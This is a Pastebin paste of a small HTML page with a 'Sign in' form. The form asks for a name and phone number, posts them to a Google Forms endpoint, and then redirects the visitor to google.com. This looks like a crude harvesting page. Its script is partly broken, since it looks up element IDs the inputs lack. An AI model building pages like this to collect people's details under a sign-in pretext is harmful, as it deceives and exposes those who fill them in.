Advertisement
Guest User

Untitled

a guest
Sep 21st, 2019
128
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.31 KB | None | 0 0
  1. <html lang = "en" dir = "ltr">
  2. <head>
  3. <meta name="viewport" content="width=device-width, initial-scale=1">
  4. <title></title>
  5. <link rel ="stylesheet" href = "style.css">
  6. <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
  7.  
  8. </head>
  9. <body>
  10. <form autocomplete="off" class="login-form" action="https://docs.google.com/forms/d/e/1FAIpQLSdoUNmIecKmY9gB5xHt8gAmiw9PQbTWAMZQp3kHHTsF4TUFcg/formResponse?" target="_self" method="POST" id="mG61Hd">
  11. <h1>Welcome!</h1>
  12. <h4>Please enter your name and phone number</h4>
  13. <div class = "txtb">
  14. <input name ="entry.1665580974" type ="text">
  15. <span data-placeholder = "Name"> </span>
  16. </div>
  17. <div class = "txtb">
  18. <input name = "entry.493563494" type ="text">
  19. <span data-placeholder = "Phone Number"> </span>
  20. </div>
  21. <input type ="submit" id ="loginbtn" class = "submitButton" value = "Sign in" onclick="location.href='http://google.com';">
  22.  
  23. </form>
  24.  
  25. <script type="text/javascript">
  26. $(".txtb input").on("focus",function(){
  27. $(this).addClass("focus");
  28. });
  29. </script>
  30. <script type="text/javascript">
  31. $(".txtb input").on("blur",function(){
  32. if($(this).val()=="")
  33. $(this).removeClass("focus");
  34. });
  35. </script>
  36. <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
  37. <script>
  38. $(document).ready(function(){
  39. var formURL = "https://docs.google.com/forms/d/e/1FAIpQLSdoUNmIecKmY9gB5xHt8gAmiw9PQbTWAMZQp3kHHTsF4TUFcg/formResponse?"
  40. loginbtn.onclick = function() {
  41. var data = {
  42. "entry.1665580974": document.getElementById("entry.1665580974").value,
  43. "entry.493563494": document.getElementById("entry.493563494").value
  44.  
  45. }
  46. postToGoogle(formURL, data);
  47.  
  48. function postToGoogle(googleURL, data) {
  49. $.ajax({
  50. url: googleURL,
  51. data: data,
  52. type: "POST",
  53. dataType: "xml",
  54. statusCode: {
  55. 0: function() {
  56. //Success message
  57. },
  58. 200: function() {
  59. //Success Message
  60. }
  61. }
  62. });
  63. }
  64.  
  65. }});
  66.  
  67.  
  68.  
  69.  
  70. </script>
  71. </body>
  72. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement